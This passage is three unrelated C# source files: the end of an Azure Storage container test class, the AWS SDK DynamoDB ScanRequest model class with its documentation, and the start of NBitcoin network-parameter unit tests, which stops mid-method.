//--------------Get operation-------------- Test.Assert(!agent.GetAzureStorageContainer(CONTAINER_NAME), Utility.GenComparisonData("GetAzureStorageContainer", false)); // Verification for returned values Test.Assert(agent.Output.Count == 0, "Only 0 row returned : {0}", agent.Output.Count); Test.Assert(agent.ErrorMessages[0].Equals(String.Format("Can not find the container '{0}'.", CONTAINER_NAME)), agent.ErrorMessages[0]); } /// <summary> /// Functional Cases : for Get-AzureStorageContainer /// 1. Validate that all the containers can be enumerated (Positive 5) /// </summary> internal void EnumerateAllContainers(Agent agent) { //--------------Get operation-------------- Test.Assert(agent.GetAzureStorageContainer(""), Utility.GenComparisonData("GetAzureStorageContainer", false)); // Verification for returned values agent.OutputValidation(StorageAccount.CreateCloudBlobClient().ListContainers()); } /// <summary> /// Negative Functional Cases : for Remove-AzureStorageContainer /// 1. Remove a non-existing blob container (Negative 2) /// </summary> internal void RemoveNonExistingContainer(Agent agent) { string CONTAINER_NAME = Utility.GenNameString("nonexisting"); // Delete the container if it exists CloudBlobClient blobClient = StorageAccount.CreateCloudBlobClient(); CloudBlobContainer container = blobClient.GetContainerReference(CONTAINER_NAME); container.DeleteIfExists(); //--------------Remove operation-------------- Test.Assert(!agent.RemoveAzureStorageContainer(CONTAINER_NAME), Utility.GenComparisonData("RemoveAzureStorageContainer", false)); // Verification for returned values Test.Assert(agent.Output.Count == 0, "Only 0 row returned : {0}", agent.Output.Count); Test.Assert(agent.ErrorMessages[0].Equals(String.Format("Can not find the container '{0}'.", CONTAINER_NAME)), agent.ErrorMessages[0]); } /// <summary> /// Negative Functional Cases : for Remove-AzureStorageContainer /// 1. Remove the blob container with blobs in it without by force (Negative 3) /// </summary> internal void RemoveContainerWithoutForce(Agent agent) { string CONTAINER_NAME = Utility.GenNameString("withoutforce-"); // create container if not exists CloudBlobClient blobClient = StorageAccount.CreateCloudBlobClient(); CloudBlobContainer container = blobClient.GetContainerReference(CONTAINER_NAME); container.CreateIfNotExists(); try { //--------------Remove operation-------------- Test.Assert(!agent.RemoveAzureStorageContainer(CONTAINER_NAME, false), Utility.GenComparisonData("RemoveAzureStorageContainer", false)); // Verification for returned values Test.Assert(agent.Output.Count == 0, "Only 0 row returned : {0}", agent.Output.Count); Test.Assert(agent.ErrorMessages[0].StartsWith("A command that prompts the user failed because"), agent.ErrorMessages[0]); } finally { // Recover the environment container.DeleteIfExists(); } } } }
/* * Copyright 2010-2013 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ using System; using System.Collections.Generic; using System.Xml.Serialization; using System.Text; using System.IO; using Amazon.Runtime; using Amazon.Runtime.Internal; namespace Amazon.DynamoDBv2.Model { /// <summary> /// Container for the parameters to the Scan operation. /// <para>The <i>Scan</i> operation returns one or more items and item attributes by accessing every item in the table. To have Amazon DynamoDB /// return fewer items, you can provide a <i>ScanFilter</i> .</para> <para>If the total number of scanned items exceeds the maximum data set /// size limit of 1 MB, the scan stops and results are returned to the user with a <i>LastEvaluatedKey</i> to continue the scan in a subsequent /// operation. The results also include the number of items exceeding the limit. A scan can result in no table data meeting the filter criteria. /// </para> <para>The result set is eventually consistent. </para> <para>By default, <i>Scan</i> operations proceed sequentially; however, for /// faster performance on large tables, applications can perform a parallel <i>Scan</i> by specifying the <i>Segment</i> and /// <i>TotalSegments</i> parameters. For more information, see Parallel Scan in the <i>Amazon DynamoDB Developer Guide</i> .</para> /// </summary> /// <seealso cref="Amazon.DynamoDBv2.AmazonDynamoDB.Scan"/> public class ScanRequest : AmazonWebServiceRequest { private string tableName; private List<string> attributesToGet = new List<string>(); private int? limit; private string select; private Dictionary<string,Condition> scanFilter = new Dictionary<string,Condition>(); private Dictionary<string,AttributeValue> exclusiveStartKey = new Dictionary<string,AttributeValue>(); private string returnConsumedCapacity; private int? totalSegments; private int? segment; /// <summary> /// The name of the table containing the requested items. /// /// <para> /// <b>Constraints:</b> /// <list type="definition"> /// <item> /// <term>Length</term> /// <description>3 - 255</description> /// </item> /// <item> /// <term>Pattern</term> /// <description>[a-zA-Z0-9_.-]+</description> /// </item> /// </list> /// </para> /// </summary> public string TableName { get { return this.tableName; } set { this.tableName = value; } } /// <summary> /// Sets the TableName property /// </summary> /// <param name="tableName">The value to set for the TableName property </param> /// <returns>this instance</returns> [Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")] public ScanRequest WithTableName(string tableName) { this.tableName = tableName; return this; } // Check to see if TableName property is set internal bool IsSetTableName() { return this.tableName != null; } /// <summary> /// The names of one or more attributes to retrieve. If no attribute names are specified, then all attributes will be returned. If any of the /// requested attributes are not found, they will not appear in the result. /// /// <para> /// <b>Constraints:</b> /// <list type="definition"> /// <item> /// <term>Length</term> /// <description>1 - </description> /// </item> /// </list> /// </para> /// </summary> public List<string> AttributesToGet { get { return this.attributesToGet; } set { this.attributesToGet = value; } } /// <summary> /// Adds elements to the AttributesToGet collection /// </summary> /// <param name="attributesToGet">The values to add to the AttributesToGet collection </param> /// <returns>this instance</returns> [Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")] public ScanRequest WithAttributesToGet(params string[] attributesToGet) { foreach (string element in attributesToGet) { this.attributesToGet.Add(element); } return this; } /// <summary> /// Adds elements to the AttributesToGet collection /// </summary> /// <param name="attributesToGet">The values to add to the AttributesToGet collection </param> /// <returns>this instance</returns> [Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")] public ScanRequest WithAttributesToGet(IEnumerable<string> attributesToGet) { foreach (string element in attributesToGet) { this.attributesToGet.Add(element); } return this; } // Check to see if AttributesToGet property is set internal bool IsSetAttributesToGet() { return this.attributesToGet.Count > 0; } /// <summary> /// The maximum number of items to evaluate (not necessarily the number of matching items). If Amazon DynamoDB processes the number of items up /// to the limit while processing the results, it stops the operation and returns the matching values up to that point, and a /// <i>LastEvaluatedKey</i> to apply in a subsequent operation, so that you can pick up where you left off. Also, if the processed data set size /// exceeds 1 MB before Amazon DynamoDB reaches this limit, it stops the operation and returns the matching values up to the limit, and a /// <i>LastEvaluatedKey</i> to apply in a subsequent operation to continue the operation. For more information see <a /// href="http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/QueryAndScan.html">Query and Scan</a> in the <i>Amazon DynamoDB /// Developer Guide</i>. /// /// <para> /// <b>Constraints:</b> /// <list type="definition"> /// <item> /// <term>Range</term> /// <description>1 - </description> /// </item> /// </list> /// </para> /// </summary> public int Limit { get { return this.limit ?? default(int); } set { this.limit = value; } } /// <summary> /// Sets the Limit property /// </summary> /// <param name="limit">The value to set for the Limit property </param> /// <returns>this instance</returns> [Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")] public ScanRequest WithLimit(int limit) { this.limit = limit; return this; } // Check to see if Limit property is set internal bool IsSetLimit() { return this.limit.HasValue; } /// <summary> /// The attributes to be returned in the result. You can retrieve all item attributes, specific item attributes, the count of matching items, or /// in the case of an index, some or all of the attributes projected into the index. <ul> <li> <c>ALL_ATTRIBUTES</c>: Returns all of the item /// attributes. For a table, this is the default. For an index, this mode causes Amazon DynamoDB to fetch the full item from the table for each /// matching item in the index. If the index is configured to project all item attributes, the matching items will not be fetched from the /// table. Fetching items from the table incurs additional throughput cost and latency. </li> <li> <c>ALL_PROJECTED_ATTRIBUTES</c>: Retrieves /// all attributes which have been projected into the index. If the index is configured to project all attributes, this is equivalent to /// specifying <i>ALL_ATTRIBUTES</i>. </li> <li> <c>COUNT</c>: Returns the number of matching items, rather than the matching items themselves. /// </li> <li> <c>SPECIFIC_ATTRIBUTES</c> : Returns only the attributes listed in <i>AttributesToGet</i>. This is equivalent to specifying /// <i>AttributesToGet</i> without specifying any value for <i>Select</i>. If you are querying an index and request only attributes that are /// projected into that index, the operation will read only the index and not the table. If any of the requested attributes are not projected /// into the index, Amazon DynamoDB will need to fetch each matching item from the table. This extra fetching incurs additional throughput cost /// and latency. </li> </ul> When neither <i>Select</i> nor <i>AttributesToGet</i> are specified, Amazon DynamoDB defaults to /// <c>ALL_ATTRIBUTES</c> when accessing a table, and <c>ALL_PROJECTED_ATTRIBUTES</c> when accessing an index. You cannot use both <i>Select</i> /// and <i>AttributesToGet</i> together in a single request, <i>unless</i> the value for <i>Select</i> is <c>SPECIFIC_ATTRIBUTES</c>. (This /// usage is equivalent to specifying <i>AttributesToGet</i> without any value for <i>Select</i>.) /// /// <para> /// <b>Constraints:</b> /// <list type="definition"> /// <item> /// <term>Allowed Values</term> /// <description>ALL_ATTRIBUTES, ALL_PROJECTED_ATTRIBUTES, SPECIFIC_ATTRIBUTES, COUNT</description> /// </item> /// </list> /// </para> /// </summary> public string Select { get { return this.select; } set { this.select = value; } } /// <summary> /// Sets the Select property /// </summary> /// <param name="select">The value to set for the Select property </param> /// <returns>this instance</returns> [Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")] public ScanRequest WithSelect(string select) { this.select = select; return this; } // Check to see if Select property is set internal bool IsSetSelect() { return this.select != null; } /// <summary> /// Evaluates the scan results and returns only the desired values. Multiple conditions are treated as "AND" operations: all conditions must be /// met to be included in the results. Each <i>ScanConditions</i> element consists of an attribute name to compare, along with the following: /// <ul> <li><i>AttributeValueList</i> - One or more values to evaluate against the supplied attribute. This list contains exactly one value, /// except for a <c>BETWEEN</c> or <c>IN</c> comparison, in which case the list contains two values. <note> For type Number, value comparisons /// are numeric. String value comparisons for greater than, equals, or less than are based on ASCII character code values. For example, <c>a</c> /// is greater than <c>A</c>, and <c>aa</c> is greater than <c>B</c>. For a list of code values, see <a /// href="http://en.wikipedia.org/wiki/ASCII#ASCII_printable_characters">http://en.wikipedia.org/wiki/ASCII#ASCII_printable_characters</a>. For /// Binary, Amazon DynamoDB treats each byte of the binary data as unsigned when it compares binary values, for example when evaluating query /// expressions. </note> </li> <li><i>ComparisonOperator</i> - A comparator for evaluating attributes. For example, equals, greater than, less /// than, etc. Valid comparison operators for Scan: <c>EQ | NE | LE | LT | GE | GT | NOT_NULL | NULL | CONTAINS | NOT_CONTAINS | BEGINS_WITH | /// IN | BETWEEN</c> For information on specifying data types in JSON, see <a /// href="http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/DataFormat.html">JSON Data Format</a> in the <i>Amazon DynamoDB /// Developer Guide</i>. The following are descriptions of each comparison operator. <ul> <li> <c>EQ</c> : Equal. <i>AttributeValueList</i> can /// contain only one <i>AttributeValue</i> of type String, Number, or Binary (not a set). If an item contains an <i>AttributeValue</i> of a /// different type than the one specified in the request, the value does not match. For example, <c>{"S":"6"}</c> does not equal /// <c>{"N":"6"}</c>. Also, <c>{"N":"6"}</c> does not equal <c>{"NS":["6", "2", "1"]}</c>. </li> <li> <c>NE</c> : Not equal. /// <i>AttributeValueList</i> can contain only one <i>AttributeValue</i> of type String, Number, or Binary (not a set). If an item contains an /// <i>AttributeValue</i> of a different type than the one specified in the request, the value does not match. For example, <c>{"S":"6"}</c> /// does not equal <c>{"N":"6"}</c>. Also, <c>{"N":"6"}</c> does not equal <c>{"NS":["6", "2", "1"]}</c>. </li> <li> <c>LE</c> : Less than or /// equal. <i>AttributeValueList</i> can contain only one <i>AttributeValue</i> of type String, Number, or Binary (not a set). If an item /// contains an <i>AttributeValue</i> of a different type than the one specified in the request, the value does not match. For example, /// <c>{"S":"6"}</c> does not equal <c>{"N":"6"}</c>. Also, <c>{"N":"6"}</c> does not compare to <c>{"NS":["6", "2", "1"]}</c>. </li> <li> /// <c>LT</c> : Less than. <i>AttributeValueList</i> can contain only one <i>AttributeValue</i> of type String, Number, or Binary (not a set). /// If an item contains an <i>AttributeValue</i> of a different type than the one specified in the request, the value does not match. For /// example, <c>{"S":"6"}</c> does not equal <c>{"N":"6"}</c>. Also, <c>{"N":"6"}</c> does not compare to <c>{"NS":["6", "2", "1"]}</c>. </li> /// <li> <c>GE</c> : Greater than or equal. <i>AttributeValueList</i> can contain only one <i>AttributeValue</i> of type String, Number, or /// Binary (not a set). If an item contains an <i>AttributeValue</i> of a different type than the one specified in the request, the value does /// not match. For example, <c>{"S":"6"}</c> does not equal <c>{"N":"6"}</c>. Also, <c>{"N":"6"}</c> does not compare to <c>{"NS":["6", "2", /// "1"]}</c>. </li> <li> <c>GT</c> : Greater than. <i>AttributeValueList</i> can contain only one <i>AttributeValue</i> of type String, Number, /// or Binary (not a set). If an item contains an <i>AttributeValue</i> of a different type than the one specified in the request, the value /// does not match. For example, <c>{"S":"6"}</c> does not equal <c>{"N":"6"}</c>. Also, <c>{"N":"6"}</c> does not compare to <c>{"NS":["6", /// "2", "1"]}</c>. </li> <li> <c>NOT_NULL</c> : The attribute exists. </li> <li> <c>NULL</c> : The attribute does not exist. </li> <li> /// <c>CONTAINS</c> : checks for a subsequence, or value in a set. <i>AttributeValueList</i> can contain only one <i>AttributeValue</i> of type /// String, Number, or Binary (not a set). If the target attribute of the comparison is a String, then the operation checks for a substring /// match. If the target attribute of the comparison is Binary, then the operation looks for a subsequence of the target that matches the input. /// If the target attribute of the comparison is a set ("SS", "NS", or "BS"), then the operation checks for a member of the set (not as a /// substring). </li> <li> <c>NOT_CONTAINS</c> : checks for absence of a subsequence, or absence of a value in a set. <i>AttributeValueList</i> /// can contain only one <i>AttributeValue</i> of type String, Number, or Binary (not a set). If the target attribute of the comparison is a /// String, then the operation checks for the absence of a substring match. If the target attribute of the comparison is Binary, then the /// operation checks for the absence of a subsequence of the target that matches the input. If the target attribute of the comparison is a set /// ("SS", "NS", or "BS"), then the operation checks for the absence of a member of the set (not as a substring). </li> <li> <c>BEGINS_WITH</c> /// : checks for a prefix. <i>AttributeValueList</i> can contain only one <i>AttributeValue</i> of type String or Binary (not a Number or a /// set). The target attribute of the comparison must be a String or Binary (not a Number or a set). </li> <li> <c>IN</c> : checks for exact /// matches. <i>AttributeValueList</i> can contain more than one <i>AttributeValue</i> of type String, Number, or Binary (not a set). The target /// attribute of the comparison must be of the same type and exact value to match. A String never matches a String set. </li> <li> /// <c>BETWEEN</c> : Greater than or equal to the first value, and less than or equal to the second value. <i>AttributeValueList</i> must /// contain two <i>AttributeValue</i> elements of the same type, either String, Number, or Binary (not a set). A target attribute matches if the /// target value is greater than, or equal to, the first element and less than, or equal to, the second element. If an item contains an /// <i>AttributeValue</i> of a different type than the one specified in the request, the value does not match. For example, <c>{"S":"6"}</c> /// does not compare to <c>{"N":"6"}</c>. Also, <c>{"N":"6"}</c> does not compare to <c>{"NS":["6", "2", "1"]}</c> </li> </ul> </li> </ul> /// /// </summary> public Dictionary<string,Condition> ScanFilter { get { return this.scanFilter; } set { this.scanFilter = value; } } /// <summary> /// Adds the KeyValuePairs to the ScanFilter dictionary. /// </summary> /// <param name="pairs">The pairs to be added to the ScanFilter dictionary.</param> /// <returns>this instance</returns> [Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")] public ScanRequest WithScanFilter(params KeyValuePair<string, Condition>[] pairs) { foreach (KeyValuePair<string, Condition> pair in pairs) { this.ScanFilter[pair.Key] = pair.Value; } return this; } // Check to see if ScanFilter property is set internal bool IsSetScanFilter() { return this.scanFilter != null; } /// <summary> /// The primary key of the item from which to continue an earlier operation. An earlier operation might provide this value as the /// <i>LastEvaluatedKey</i> if that operation was interrupted before completion; either because of the result set size or because of the setting /// for <i>Limit</i>. The <i>LastEvaluatedKey</i> can be passed back in a new request to continue the operation from that point. The data type /// for <i>ExclusiveStartKey</i> must be String, Number or Binary. No set data types are allowed. If you are performing a parallel scan, the /// value of <i>ExclusiveStartKey</i> must fall into the key space of the <i>Segment</i> being scanned. For example, suppose that there are two /// application threads scanning a table using the following <i>Scan</i> parameters <ul> <li> Thread 0: <i>Segment</i>=0; <i>TotalSegments</i>=2 /// </li> <li> Thread 1: <i>Segment</i>=1; <i>TotalSegments</i>=2 </li> </ul> Now suppose that the <i>Scan</i> request for Thread 0 completed /// and returned a <i>LastEvaluatedKey</i> of "X". Because "X" is part of <i>Segment</i> 0's key space, it cannot be used anywhere else in the /// table. If Thread 1 were to issue another <i>Scan</i> request with an <i>ExclusiveStartKey</i> of "X", Amazon DynamoDB would throw an /// <i>InputValidationError</i> because hash key "X" cannot be in <i>Segment</i> 1. /// /// </summary> public Dictionary<string,AttributeValue> ExclusiveStartKey { get { return this.exclusiveStartKey; } set { this.exclusiveStartKey = value; } } /// <summary> /// Adds the KeyValuePairs to the ExclusiveStartKey dictionary. /// </summary> /// <param name="pairs">The pairs to be added to the ExclusiveStartKey dictionary.</param> /// <returns>this instance</returns> [Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")] public ScanRequest WithExclusiveStartKey(params KeyValuePair<string, AttributeValue>[] pairs) { foreach (KeyValuePair<string, AttributeValue> pair in pairs) { this.ExclusiveStartKey[pair.Key] = pair.Value; } return this; } // Check to see if ExclusiveStartKey property is set internal bool IsSetExclusiveStartKey() { return this.exclusiveStartKey != null; } /// <summary> /// If set to <c>TOTAL</c>, <i>ConsumedCapacity</i> is included in the response; if set to <c>NONE</c> (the default), <i>ConsumedCapacity</i> is /// not included. /// /// <para> /// <b>Constraints:</b> /// <list type="definition"> /// <item> /// <term>Allowed Values</term> /// <description>TOTAL, NONE</description> /// </item> /// </list> /// </para> /// </summary> public string ReturnConsumedCapacity { get { return this.returnConsumedCapacity; } set { this.returnConsumedCapacity = value; } } /// <summary> /// Sets the ReturnConsumedCapacity property /// </summary> /// <param name="returnConsumedCapacity">The value to set for the ReturnConsumedCapacity property </param> /// <returns>this instance</returns> [Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")] public ScanRequest WithReturnConsumedCapacity(string returnConsumedCapacity) { this.returnConsumedCapacity = returnConsumedCapacity; return this; } // Check to see if ReturnConsumedCapacity property is set internal bool IsSetReturnConsumedCapacity() { return this.returnConsumedCapacity != null; } /// <summary> /// For parallel <i>Scan</i> requests, <i>TotalSegments</i>represents the total number of segments for a table that is being scanned. Segments /// are a way to logically divide a table into equally sized portions, for the duration of the <i>Scan</i> request. The value of /// <i>TotalSegments</i> corresponds to the number of application "workers" (such as threads or processes) that will perform the parallel /// <i>Scan</i>. For example, if you want to scan a table using four application threads, you would specify a <i>TotalSegments</i> value of 4. /// The value for <i>TotalSegments</i> must be greater than or equal to 1, and less than or equal to 4096. If you specify a <i>TotalSegments</i> /// value of 1, the <i>Scan</i> will be sequential rather than parallel. If you specify <i>TotalSegments</i>, you must also specify /// <i>Segment</i>. /// /// <para> /// <b>Constraints:</b> /// <list type="definition"> /// <item> /// <term>Range</term> /// <description>1 - 4096</description> /// </item> /// </list> /// </para> /// </summary> public int TotalSegments { get { return this.totalSegments ?? default(int); } set { this.totalSegments = value; } } /// <summary> /// Sets the TotalSegments property /// </summary> /// <param name="totalSegments">The value to set for the TotalSegments property </param> /// <returns>this instance</returns> [Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")] public ScanRequest WithTotalSegments(int totalSegments) { this.totalSegments = totalSegments; return this; } // Check to see if TotalSegments property is set internal bool IsSetTotalSegments() { return this.totalSegments.HasValue; } /// <summary> /// For parallel <i>Scan</i> requests, <i>Segment</i> identifies an individual segment to be scanned by an application "worker" (such as a /// thread or a process). Each worker issues a <i>Scan</i> request with a distinct value for the segment it will scan. Segment IDs are /// zero-based, so the first segment is always 0. For example, if you want to scan a table using four application threads, the first thread /// would specify a <i>Segment</i> value of 0, the second thread would specify 1, and so on. LastEvaluatedKey returned from a parallel scan /// request must be used with same Segment id in a subsequent operation. The value for <i>Segment</i> must be less than or equal to 0, and less /// than the value provided for <i>TotalSegments</i>. If you specify <i>Segment</i>, you must also specify <i>TotalSegments</i>. /// /// <para> /// <b>Constraints:</b> /// <list type="definition"> /// <item> /// <term>Range</term> /// <description>0 - 4095</description> /// </item> /// </list> /// </para> /// </summary> public int Segment { get { return this.segment ?? default(int); } set { this.segment = value; } } /// <summary> /// Sets the Segment property /// </summary> /// <param name="segment">The value to set for the Segment property </param> /// <returns>this instance</returns> [Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")] public ScanRequest WithSegment(int segment) { this.segment = segment; return this; } // Check to see if Segment property is set internal bool IsSetSegment() { return this.segment.HasValue; } } }
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Threading; using NBitcoin.BouncyCastle.Math; using NBitcoin.DataEncoders; using NBitcoin.Networks; using Stratis.Bitcoin.Networks; using Stratis.Bitcoin.Networks.Deployments; using Stratis.Bitcoin.Tests.Common; using Xunit; namespace NBitcoin.Tests { public class NetworkTests { private readonly Network networkMain; private readonly Network stratisMain; private readonly Network stratisTest; private readonly Network stratisRegTest; public NetworkTests() { this.networkMain = KnownNetworks.Main; this.stratisMain = KnownNetworks.StratisMain; this.stratisTest = KnownNetworks.StratisTest; this.stratisRegTest = KnownNetworks.StratisRegTest; } [Fact] [Trait("UnitTest", "UnitTest")] public void CanGetNetworkFromName() { Network bitcoinMain = KnownNetworks.Main; Network bitcoinTestnet = KnownNetworks.TestNet; Network bitcoinRegtest = KnownNetworks.RegTest; Assert.Equal(NetworkRegistration.GetNetwork("main"), bitcoinMain); Assert.Equal(NetworkRegistration.GetNetwork("mainnet"), bitcoinMain); Assert.Equal(NetworkRegistration.GetNetwork("MainNet"), bitcoinMain); Assert.Equal(NetworkRegistration.GetNetwork("test"), bitcoinTestnet); Assert.Equal(NetworkRegistration.GetNetwork("testnet"), bitcoinTestnet); Assert.Equal(NetworkRegistration.GetNetwork("regtest"), bitcoinRegtest); Assert.Equal(NetworkRegistration.GetNetwork("reg"), bitcoinRegtest); Assert.Equal(NetworkRegistration.GetNetwork("stratismain"), this.stratisMain); Assert.Equal(NetworkRegistration.GetNetwork("StratisMain"), this.stratisMain); Assert.Equal(NetworkRegistration.GetNetwork("StratisTest"), this.stratisTest); Assert.Equal(NetworkRegistration.GetNetwork("stratistest"), this.stratisTest); Assert.Equal(NetworkRegistration.GetNetwork("StratisRegTest"), this.stratisRegTest); Assert.Equal(NetworkRegistration.GetNetwork("stratisregtest"), this.stratisRegTest); Assert.Null(NetworkRegistration.GetNetwork("invalid")); } [Fact] [Trait("UnitTest", "UnitTest")] public void RegisterNetworkTwiceReturnsSameNetwork() { Network main = KnownNetworks.Main; Network reregistered = NetworkRegistration.Register(main); Assert.Equal(main, reregistered); } [Fact] [Trait("UnitTest", "UnitTest")] public void ReadMagicByteWithFirstByteDuplicated() { List<byte> bytes = this.networkMain.MagicBytes.ToList(); bytes.Insert(0, bytes.First()); using (var memstrema = new MemoryStream(bytes.ToArray())) { bool found = this.networkMain.ReadMagic(memstrema, new CancellationToken()); Assert.True(found); } } [Fact] [Trait("UnitTest", "UnitTest")] public void BitcoinMainnetIsInitializedCorrectly() { Assert.Equal(16, this.networkMain.Checkpoints.Count); Assert.Equal(6, this.networkMain.DNSSeeds.Count); Assert.Equal(512, this.networkMain.SeedNodes.Count); Assert.Equal(NetworkRegistration.GetNetwork("main"), this.networkMain); Assert.Equal(NetworkRegistration.GetNetwork("mainnet"), this.networkMain); Assert.Equal("Main", this.networkMain.Name); Assert.Equal(BitcoinMain.BitcoinRootFolderName, this.networkMain.RootFolderName); Assert.Equal(BitcoinMain.BitcoinDefaultConfigFilename, this.networkMain.DefaultConfigFilename); Assert.Equal(0xD9B4BEF9, this.networkMain.Magic); Assert.Equal(8333, this.networkMain.DefaultPort); Assert.Equal(8332, this.networkMain.RPCPort); Assert.Equal(BitcoinMain.BitcoinMaxTimeOffsetSeconds, this.networkMain.MaxTimeOffsetSeconds); Assert.Equal(BitcoinMain.BitcoinDefaultMaxTipAgeInSeconds, this.networkMain.MaxTipAge); Assert.Equal(1000, this.networkMain.MinTxFee); Assert.Equal(20000, this.networkMain.FallbackFee); Assert.Equal(1000, this.networkMain.MinRelayTxFee); Assert.Equal("BTC", this.networkMain.CoinTicker); Assert.Equal(2, this.networkMain.Bech32Encoders.Length); Assert.Equal(new Bech32Encoder("bc").ToString(), this.networkMain.Bech32Encoders[(int)Bech32Type.WITNESS_PUBKEY_ADDRESS].ToString()); Assert.Equal(new Bech32Encoder("bc").ToString(), this.networkMain.Bech32Encoders[(int)Bech32Type.WITNESS_SCRIPT_ADDRESS].ToString()); Assert.Equal(12, this.networkMain.Base58Prefixes.Length); Assert.Equal(new byte[] { 0 }, this.networkMain.Base58Prefixes[(int)Base58Type.PUBKEY_ADDRESS]); Assert.Equal(new byte[] { (5) }, this.networkMain.Base58Prefixes[(int)Base58Type.SCRIPT_ADDRESS]); Assert.Equal(new byte[] { (128) }, this.networkMain.Base58Prefixes[(int)Base58Type.SECRET_KEY]); Assert.Equal(new byte[] { 0x01, 0x42 }, this.networkMain.Base58Prefixes[(int)Base58Type.ENCRYPTED_SECRET_KEY_NO_EC]); Assert.Equal(new byte[] { 0x01, 0x43 }, this.networkMain.Base58Prefixes[(int)Base58Type.ENCRYPTED_SECRET_KEY_EC]); Assert.Equal(new byte[] { (0x04), (0x88), (0xB2), (0x1E) }, this.networkMain.Base58Prefixes[(int)Base58Type.EXT_PUBLIC_KEY]); Assert.Equal(new byte[] { (0x04), (0x88), (0xAD), (0xE4) }, this.networkMain.Base58Prefixes[(int)Base58Type.EXT_SECRET_KEY]); Assert.Equal(new byte[] { 0x2C, 0xE9, 0xB3, 0xE1, 0xFF, 0x39, 0xE2 }, this.networkMain.Base58Prefixes[(int)Base58Type.PASSPHRASE_CODE]); Assert.Equal(new byte[] { 0x64, 0x3B, 0xF6, 0xA8, 0x9A }, this.networkMain.Base58Prefixes[(int)Base58Type.CONFIRMATION_CODE]); Assert.Equal(new byte[] { 0x2a }, this.networkMain.Base58Prefixes[(int)Base58Type.STEALTH_ADDRESS]); Assert.Equal(new byte[] { 23 }, this.networkMain.Base58Prefixes[(int)Base58Type.ASSET_ID]); Assert.Equal(new byte[] { 0x13 }, this.networkMain.Base58Prefixes[(int)Base58Type.COLORED_ADDRESS]); Assert.Equal(210000, this.networkMain.Consensus.SubsidyHalvingInterval); Assert.Equal(750, this.networkMain.Consensus.MajorityEnforceBlockUpgrade); Assert.Equal(950, this.networkMain.Consensus.MajorityRejectBlockOutdated); Assert.Equal(1000, this.networkMain.Consensus.MajorityWindow); Assert.Equal(227931, this.networkMain.Consensus.BuriedDeployments[BuriedDeployments.BIP34]); Assert.Equal(388381, this.networkMain.Consensus.BuriedDeployments[BuriedDeployments.BIP65]); Assert.Equal(363725, this.networkMain.Consensus.BuriedDeployments[BuriedDeployments.BIP66]); Assert.Equal(new uint256("0x000000000000024b89b42a942fe0d9fea3bb44ab7bd1b19115dd6a759c0808b8"), this.networkMain.Consensus.BIP34Hash); Assert.Equal(new Target(new uint256("00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff")), this.networkMain.Consensus.PowLimit); Assert.Equal(new uint256("0x0000000000000000000000000000000000000000002cb971dd56d1c583c20f90"), this.networkMain.Consensus.MinimumChainWork); Assert.Equal(TimeSpan.FromSeconds(14 * 24 * 60 * 60), this.networkMain.Consensus.PowTargetTimespan); Assert.Equal(TimeSpan.FromSeconds(10 * 60), this.networkMain.Consensus.PowTargetSpacing); Assert.False(this.networkMain.Consensus.PowAllowMinDifficultyBlocks); Assert.False(this.networkMain.Consensus.PowNoRetargeting); Assert.Equal(1916, this.networkMain.Consensus.RuleChangeActivationThreshold); Assert.Equal(2016, this.networkMain.Consensus.MinerConfirmationWindow); Assert.Equal(28, this.networkMain.Consensus.BIP9Deployments[BitcoinBIP9Deployments.TestDummy].Bit); Assert.Equal(Utils.UnixTimeToDateTime(1199145601), this.networkMain.Consensus.BIP9Deployments[BitcoinBIP9Deployments.TestDummy].StartTime); Assert.Equal(Utils.UnixTimeToDateTime(1230767999), this.networkMain.Consensus.BIP9Deployments[BitcoinBIP9Deployments.TestDummy].Timeout); Assert.Equal(0, this.networkMain.Consensus.BIP9Deployments[BitcoinBIP9Deployments.CSV].Bit); Assert.Equal(Utils.UnixTimeToDateTime(1462060800), this.networkMain.Consensus.BIP9Deployments[BitcoinBIP9Deployments.CSV].StartTime); Assert.Equal(Utils.UnixTimeToDateTime(1493596800), this.networkMain.Consensus.BIP9Deployments[BitcoinBIP9Deployments.CSV].Timeout); Assert.Equal(1, this.networkMain.Consensus.BIP9Deployments[BitcoinBIP9Deployments.Segwit].Bit); Assert.Equal(Utils.UnixTimeToDateTime(1479168000), this.networkMain.Consensus.BIP9Deployments[BitcoinBIP9Deployments.Segwit].StartTime); Assert.Equal(Utils.UnixTimeToDateTime(1510704000), this.networkMain.Consensus.BIP9Deployments[BitcoinBIP9Deployments.Segwit].Timeout); Assert.Equal(0, this.networkMain.Consensus.CoinType); Assert.False(this.networkMain.Consensus.IsProofOfStake); Assert.Equal(new uint256("0x0000000000000000000f1c54590ee18d15ec70e68c8cd4cfbadb1b4f11697eee"), this.networkMain.Consensus.DefaultAssumeValid); Assert.Equal(100, this.networkMain.Consensus.CoinbaseMaturity); 